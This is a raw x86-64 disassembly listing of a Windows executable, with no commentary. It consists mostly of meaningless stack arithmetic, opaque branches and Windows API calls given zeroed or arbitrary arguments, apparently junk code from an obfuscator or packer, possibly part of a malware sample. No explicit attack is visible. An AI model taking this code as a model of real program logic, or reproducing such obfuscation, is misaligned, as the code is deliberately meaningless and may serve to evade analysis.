movabs rax, 0x73a929a794b9e4
cmp qword [rsp + 0x4c58], rax
je 0x140007532
jmp 0x140007564
movzx eax, word [rsp + 0x5e8]
movzx ecx, word [rsp + 0x5cc]
xor eax, ecx
mov word [rsp + 0x5fc], ax
mov edx, dword [rsp + 0x2518]
mov rax, qword [rsp + 0x4a80]
mov ecx, dword [rax]
call fcn.1400dc260
jmp 0x140007583
mov rax, qword [rsp + 0x4b88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5fc]
and eax, ecx
mov rcx, qword [0x140108f98]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5c8]
add eax, ecx
mov word [rsp + 0x5ec], ax
mov rax, qword [rsp + 0x4b88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4a58]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x140108f98]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x5cc]
and ecx, edx
cmp eax, ecx
jl 0x1400dad96
mov rcx, qword [rsp + 0x49c0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x2408], eax
lea rax, [rsp + 0x5ec]
mov qword [rsp + 0x4c60], rax
movsx eax, word [rsp + 0x5ec]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x5c8], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x4ad0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
cmp dword [rsp + 0x24d8], 0xa104
jae 0x140007832
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x49b8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4b20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ab8]
mov rcx, qword [rsp + 0x4970]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4978], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov rax, qword [rsp + 0x4bb8]
mov ecx, dword [rsp + 0x243c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x24d4], eax
mov rax, qword [rsp + 0x4990]
mov ecx, dword [rsp + 0x2410]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4990]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5e0]
sar eax, cl
mov rcx, qword [0x140108f98]
mov word [rcx], ax
mov eax, dword [rsp + 0x24d8]
add eax, 0xa0
mov dword [rsp + 0x24d8], eax
movzx eax, word [rsp + 0x5e0]
mov rcx, qword [rsp + 0x4a58]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x5cc], ax
movsx eax, word [0x140108008]
mov rcx, qword [rsp + 0x4c18]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x5ec], ax
lea rdx, [rsp + 0x13148]
mov rcx, qword [rsp + 0x4bf0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x2540], eax
movzx eax, byte [rsp + 0x43]
movzx ecx, byte [rsp + 0x42]
and eax, ecx
mov byte [rsp + 0x44], al
mov rax, qword [rsp + 0x4970]
mov rcx, qword [rsp + 0x4a90]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4b10]
mov qword [rcx], rax
mov dword [rsp + 0x20], 0x3e83
mov r9d, 0x841
mov r8d, 0x3284
mov edx, 0x3c7e
mov rcx, qword [rsp + 0x49d8]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x23f4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov rax, qword [rsp + 0x4b50]
mov rcx, qword [rsp + 0x49b8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4b20]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x4968]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x23f0], eax
mov rax, qword [rsp + 0x4a80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2490]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2504], eax
jmp 0x140007631
mov eax, dword [rsp + 0x2454]
mov dword [rsp + 0x2544], eax
mov rax, qword [rsp + 0x4a58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4b88]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x5e0], ax
mov rax, qword [rsp + 0x4b10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4978]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x49e0]
mov rdx, qword [rsp + 0x4970]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
jb 0x1400dad4f
cmp dword [rsp + 0x2520], 0xcbd
jbe 0x140007b37
mov rax, qword [rsp + 0x4b80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x41]
sub eax, ecx
mov rcx, qword [rsp + 0x49c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4c18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x5c4], ax
movzx eax, word [rsp + 0x5e0]
movzx ecx, word [rsp + 0x5fc]
sar eax, cl
mov rcx, qword [rsp + 0x4a58]
mov word [rcx], ax
mov dword [rsp + 0x20], 0x395b
mov r9d, 0x3207
mov r8d, 0x2cd9
mov edx, 0x2aa4
mov rcx, qword [rsp + 0x49c0]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x2540], eax
mov rax, qword [rsp + 0x49e0]
mov rcx, qword [rsp + 0x4ab8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4a90], rax
mov eax, dword [rsp + 0x2504]
mov rcx, qword [rsp + 0x4a30]
mov qword [rsp + 0x4c68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4c68]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4a30]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2520]
sub eax, 0xcf
mov dword [rsp + 0x2520], eax
mov rax, qword [rsp + 0x4b20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x49b8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4980]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2454]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b18]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x40]
mov rcx, qword [rsp + 0x49c8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x41], al
lea rdx, [rsp + 0x13180]
mov rcx, qword [rsp + 0x4968]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x24f0], eax
mov rax, qword [rsp + 0x4b10]
mov rcx, qword [rsp + 0x49e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [section..data], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov rax, qword [rsp + 0x4b88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5e8]
add eax, ecx
mov word [rsp + 0x5e0], ax
mov rax, qword [rsp + 0x4c18]
movsx eax, word [rax]
movsx ecx, word [0x140108008]
add eax, ecx
mov rcx, qword [rsp + 0x4c60]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4b80]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x49c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b10]
mov rcx, qword [rsp + 0x4a88]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4ab8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2518]
mov ecx, dword [rsp + 0x24c8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x23c0], eax
mov rax, qword [rsp + 0x4bb8]
mov ecx, dword [rsp + 0x23cc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x24fc], eax
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x4b50]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x49b8], rax
movzx eax, word [rsp + 0x5e8]
movzx ecx, word [rsp + 0x5cc]
sar eax, cl
mov rcx, qword [rsp + 0x4b88]
mov word [rcx], ax
jmp 0x140007898
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x4b20]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4b50]
mov rdx, qword [rsp + 0x49b8]
xor rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x140007bc1
mov rax, qword [rsp + 0x4b88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5fc]
shl eax, cl
mov word [0x140108f90], ax
mov rax, qword [rsp + 0x4c18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5c8]
and eax, ecx
mov word [rsp + 0x5ec], ax
mov rax, qword [rsp + 0x4980]
mov ecx, dword [rsp + 0x24d4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.thwartWholesalers_allegro_strengths
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x4c70], rax
mov rax, qword [rsp + 0x4c60]
movzx eax, word [rax]
mov word [rsp + 0x600], ax
mov rax, qword [rsp + 0x4c60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c18]
movsx ecx, word [rcx]
add eax, ecx
movsx ecx, word [rsp + 0x600]
movsx edx, word [rsp + 0x5c4]
add ecx, edx
cmp eax, ecx
jle 0x140007d32
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x49b8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4b20]
mov rdx, qword [rsp + 0x4b50]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
je 0x140007d06
mov rax, qword [rsp + 0x4990]
mov rcx, qword [rsp + 0x4a30]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4a80]
mov edx, dword [rsp + 0x2490]
mov ecx, dword [rcx]
or ecx, edx
cmp eax, ecx
je 0x140007d04
mov rax, qword [rsp + 0x4b18]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x24d4]
shl eax, cl
mov dword [rsp + 0x243c], eax
lea r8, [rsp + 0x4c18]
mov rdx, qword [rsp + 0x4a28]
mov rcx, qword [rsp + 0x4c78]
call qword [sym.imp.SHELL32.dll_ExtractAssociatedIconW]
mov qword [rsp + 0x4be8], rax
mov rax, qword [rsp + 0x4990]
mov r8d, dword [rax]
movzx edx, byte [rsp + 0x41]
movzx ecx, byte [rsp + 0x40]
call fcn.1400dd070
jmp 0x140007d32
mov rax, qword [rsp + 0x4a58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4b88]
movzx ecx, word [rcx]
sub eax, ecx
movzx ecx, word [rsp + 0x5e0]
mov rdx, qword [0x140108f98]
movzx edx, word [rdx]
and ecx, edx
mov rax, qword [rsp + 0x49b8]
mov qword [rsp + 0x4c80], rax
mov eax, dword [rsp + 0x23c0]
mov rcx, qword [rsp + 0x4a30]
mov qword [rsp + 0x4c88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4c88]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x24a4], eax
mov rax, qword [rsp + 0x49e0]
mov rax, qword [rax]
mov qword [rsp + 0x4c90], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x2510], eax
lea rcx, str.leftwards_Unicorns_Sluggishness_Prevaricate_Dissuaded
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x5f8], ax
mov dword [rsp + 0x20], 0x9ec
mov r9d, 0xc66
mov r8d, 0x629
mov edx, 0x2ae
mov rcx, qword [rsp + 0x49c0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x2548], eax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4b80]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x41], al
mov rax, qword [rsp + 0x4b88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4a58]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x140108f98]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x49f0], rax
movzx ecx, word [rsp + 0x5f4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x5dc], ax
mov rax, qword [rsp + 0x4b88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4a58]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4b88]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b88]
movzx eax, word [rax]
movzx ecx, word [0x140108f90]
add eax, ecx
mov rcx, qword [rsp + 0x4b88]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5ec]
sub eax, ecx
mov rcx, qword [rsp + 0x4c18]
mov word [rcx], ax
mov rax, qword [rsp + 0x4bb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x242c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2454], eax
mov eax, dword [rsp + 0x2490]
mov ecx, dword [rsp + 0x2518]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4a30]
mov dword [rcx], eax
lea rcx, [rsp + 0x12240]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b50]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4b20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ab8]
mov rcx, qword [rsp + 0x4a88]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4a90], rax
movsx eax, byte [rsp + 0x41]
mov rcx, qword [rsp + 0x4b80]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
movzx eax, word [rsp + 0x5e8]
movzx ecx, word [rsp + 0x5e0]
and eax, ecx
mov rcx, qword [0x140108f98]
mov word [rcx], ax
movzx eax, word [rsp + 0x5cc]
mov rcx, qword [rsp + 0x4a58]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x5fc], ax
mov rax, qword [rsp + 0x4c18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5c4]
shl eax, cl
mov word [rsp + 0x5c8], ax
movzx ecx, word [rsp + 0x5d8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x5d8], ax
mov rax, qword [rsp + 0x4b80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x49c8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
mov edx, 0x285642
mov rcx, qword [rsp + 0x49d8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x254c], eax
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x14c10]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x24a8], eax
mov rax, qword [rsp + 0x4a88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4a90]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ab8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x49b8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4b20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4bb8]
mov ecx, dword [rsp + 0x242c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2454], eax
mov rcx, qword [rsp + 0x4968]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x24f0], eax
mov dword [rsp + 0x15090], 0x11c
mov rax, qword [rsp + 0x4990]
mov rcx, qword [rsp + 0x4a80]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x24a4], eax
mov rax, qword [rsp + 0x4c18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x600], ax
movzx eax, word [rsp + 0x5e0]
mov rcx, qword [rsp + 0x4b88]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140108f90], ax
movzx eax, byte [rsp + 0x43]
movzx ecx, byte [rsp + 0x44]
sub eax, ecx
mov byte [rsp + 0x42], al
movsx eax, byte [rsp + 0x40]
movsx ecx, byte [rsp + 0x41]
add eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov byte [rcx], al
mov r9d, 2
lea r8, [rsp + 0x49a8]
mov rdx, qword [rsp + 0x49b0]
mov rcx, qword [rsp + 0x4c70]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x24f4], eax
mov rax, qword [rsp + 0x4c08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x49c8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x23f8], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rax, qword [rsp + 0x4b20]
mov rcx, qword [rsp + 0x4ac0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x49b8], rax
mov rax, qword [rsp + 0x49e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4c90]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4970], rax
mov rax, qword [rsp + 0x4980]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x24d4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x23cc], eax
mov eax, dword [rsp + 0x2534]
sub eax, 0xb9
mov dword [rsp + 0x2534], eax
mov eax, dword [rsp + 0x2490]
mov rcx, qword [rsp + 0x4a30]
mov qword [rsp + 0x4c98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4c98]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x4a30]
mov dword [rcx], eax
movsx eax, word [rsp + 0x600]
movsx ecx, word [rsp + 0x5c4]
xor eax, ecx
mov word [rsp + 0x5ec], ax
movzx eax, word [rsp + 0x5fc]
mov rcx, qword [rsp + 0x4b88]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x140108f98]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4a58]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x5e8], ax
movsx eax, byte [rsp + 0x41]
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x43]
movzx ecx, byte [rsp + 0x44]
sub eax, ecx
mov byte [rsp + 0x42], al
mov rax, qword [rsp + 0x49e0]
mov rcx, qword [rsp + 0x4b10]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4a88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4a30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x23c0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x24a4], eax
mov r9d, 2
lea r8, [rsp + 0x49d0]
mov rdx, qword [rsp + 0x4ca0]
mov rcx, qword [rsp + 0x4968]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x2414], eax
cmp dword [rsp + 0x2534], 0xc18b
ja 0x140007d82
mov rax, qword [rsp + 0x4b10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4a90]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4a88]
mov rdx, qword [rsp + 0x4978]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jbe 0x1400083e1
mov rax, qword [rsp + 0x49b8]
mov rcx, qword [rsp + 0x4c80]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b18]
mov eax, dword [rax]
mov dword [rsp + 0x2550], eax
cmp dword [rsp + 0x2550], 0x3d44
je 0x1400083c1
cmp dword [rsp + 0x2550], 0xaf63
je 0x14000838c
jmp 0x1400083e1
mov rax, qword [rsp + 0x4bb8]
mov rcx, qword [rsp + 0x4b18]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2454], eax
movsx eax, byte [rsp + 0x40]
mov rcx, qword [rsp + 0x4b80]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x41], al
jmp 0x1400083e1
mov rax, qword [rsp + 0x4c60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5c4]
shl eax, cl
mov rcx, qword [rsp + 0x4c60]
mov word [rcx], ax
mov dword [rsp + 0x2554], 0x8bf6
mov eax, dword [rsp + 0x24fc]
mov rcx, qword [rsp + 0x4b18]
mov qword [rsp + 0x4ca8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4ca8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x4bb8]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x243c]
xor edx, ecx
mov ecx, edx
cmp eax, ecx
jbe 0x140008448
mov rdx, qword [rsp + 0x4c80]
mov rax, qword [rsp + 0x49e0]
mov rcx, qword [rax]
call fcn.1400dbe30
jmp 0x140008639
mov rax, qword [rsp + 0x4970]
mov rcx, qword [rsp + 0x4978]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4a88]
mov rdx, qword [rsp + 0x49e0]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
and rcx, rdx
cmp rax, rcx
jbe 0x140008639
mov rax, qword [rsp + 0x4c60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c18]
movsx ecx, word [rcx]
add eax, ecx
movsx ecx, word [rsp + 0x5c8]
movsx edx, word [rsp + 0x5c4]
add ecx, edx
cmp eax, ecx
jle 0x1400085f0
mov eax, dword [rsp + 0x2410]
mov dword [rsp + 0x2558], eax
cmp dword [rsp + 0x2558], 0x83d
je 0x1400085ca
cmp dword [rsp + 0x2558], 0x4ac7
je 0x1400084e3
jmp 0x1400085ee
mov rax, qword [rsp + 0x4a88]
mov rcx, qword [rsp + 0x4b10]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [section..data], rax
movzx eax, byte [rsp + 0x42]
movzx ecx, byte [rsp + 0x43]
sub eax, ecx
movzx ecx, byte [rsp + 0x44]
cmp eax, ecx
jge 0x140008594
lea r9, [rsp + 0x14b70]
lea r8, [rsp + 0x4af0]
lea rdx, [rsp + 0x12230]
lea rcx, [rsp + 0x4c18]
call qword [sym.imp.SHELL32.dll_SHBindToParent]
mov dword [rsp + 0x2528], eax
movsx eax, word [rsp + 0x5ec]
movsx ecx, word [rsp + 0x600]
sub eax, ecx
mov rcx, qword [rsp + 0x4c60]
mov word [rcx], ax
movzx eax, byte [rsp + 0x42]
movzx ecx, byte [rsp + 0x44]
sar eax, cl
mov byte [rsp + 0x43], al
mov rax, qword [rsp + 0x4990]
mov rcx, qword [rsp + 0x4a80]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4a30]
mov dword [rcx], eax
jmp 0x1400085c8
mov rax, qword [rsp + 0x4ab8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4a88]
mov qword [rsp + 0x4cb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4cb0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x4a90], rax
jmp 0x1400085ee
mov r8d, 1
lea rdx, [rsp + 0x14b70]
lea rcx, [rsp + 0x1bb50]
call qword [sym.imp.SHELL32.dll_ILAppendID]
mov qword [rsp + 0x4cb8], rax
jmp 0x140008639
movzx eax, word [rsp + 0x5e0]
mov rcx, qword [rsp + 0x4b88]
movzx ecx, word [rcx]
add eax, ecx
movzx ecx, word [rsp + 0x5e8]
movzx edx, word [rsp + 0x5fc]
sub ecx, edx
cmp eax, ecx
jne 0x140008639
mov rax, qword [rsp + 0x4b20]
mov rcx, qword [rsp + 0x4b50]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x49b8], rax
mov eax, dword [rsp + 0x24d4]
mov ecx, dword [rsp + 0x2454]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x242c], eax
mov rax, qword [rsp + 0x4a30]
mov eax, dword [rax]
mov dword [rsp + 0x255c], eax
cmp dword [rsp + 0x255c], 0
je 0x140008683
cmp dword [rsp + 0x255c], 0x46c4
je 0x1400dab56
jmp 0x1400dac98
movzx eax, byte [rsp + 0x44]
mov byte [rsp + 0x2560], al
cmp byte [rsp + 0x2560], 0x36
je 0x14000869b
jmp 0x14000870b
lea rdx, [rsp + 0x14860]
mov rcx, qword [rsp + 0x4cc0]
call qword [sym.imp.SHELL32.dll_DragQueryPoint]
mov dword [rsp + 0x2480], eax
lea rcx, [rsp + 0x14940]
call qword [sym.imp.COMDLG32.dll_PrintDlgW]
mov dword [rsp + 0x2480], eax
mov eax, dword [rsp + 0x242c]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x4b88]
movzx r9d, word [rax]
mov rax, qword [rsp + 0x49e0]
mov r8, qword [rax]
movzx edx, word [rsp + 0x5e8]
mov rax, qword [rsp + 0x4b18]
mov ecx, dword [rax]
call fcn.1400dc430
jmp 0x1400da9d5
movsx eax, byte [rsp + 0x40]
movsx ecx, byte [rsp + 0x41]
xor eax, ecx
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
mov dword [rsp + 0x2564], ecx
mov rdx, qword [rsp + 0x49c8]
movsx edx, byte [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x2564]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jl 0x1400da90b
movzx eax, byte [rsp + 0x42]
mov byte [rsp + 0x2568], al
cmp byte [rsp + 0x2568], 0xa
je 0x14000885b
cmp byte [rsp + 0x2568], 0xc5
je 0x140008773
jmp 0x1400088ae
mov rax, qword [rsp + 0x4b18]
mov rcx, qword [rsp + 0x4980]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4bb8]
mov edx, dword [rsp + 0x243c]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
je 0x140008859
mov rax, qword [rsp + 0x4990]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2518]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x2490]
mov edx, dword [rsp + 0x2410]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jle 0x140008827
lea rax, [rsp + 0x147a0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x57
mov r9d, 0xcd
mov r8d, 0x70
mov edx, 0x5b
mov rcx, qword [rsp + 0x4cc8]
call qword [sym.imp.SHELL32.dll_SHChangeNotifyRegister]
mov dword [rsp + 0x24d4], eax
mov rax, qword [rsp + 0x4b20]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x49e0]
mov rcx, qword [rax]
call fcn.1400dbe30
jmp 0x140008859
movzx eax, byte [rsp + 0x43]
movzx ecx, byte [rsp + 0x42]
add eax, ecx
movzx ecx, byte [rsp + 0x44]
cmp eax, ecx
jge 0x140008859
mov rax, qword [rsp + 0x4bb8]
mov ecx, dword [rsp + 0x242c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
jmp 0x1400088ae
mov rax, qword [rsp + 0x4b20]
mov rcx, qword [rsp + 0x4b50]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4c80], rax
movsx eax, word [rsp + 0x600]
movsx ecx, word [rsp + 0x5c4]
sar eax, cl
mov word [rsp + 0x5c8], ax
movzx eax, word [rsp + 0x5e8]
movzx ecx, word [0x140108f90]
xor eax, ecx
mov rcx, qword [0x140108f98]
mov word [rcx], ax
movzx eax, byte [rsp + 0x44]
movzx ecx, byte [rsp + 0x42]
shl eax, cl
mov byte [rsp + 0x43], al
mov eax, dword [rsp + 0x24c8]
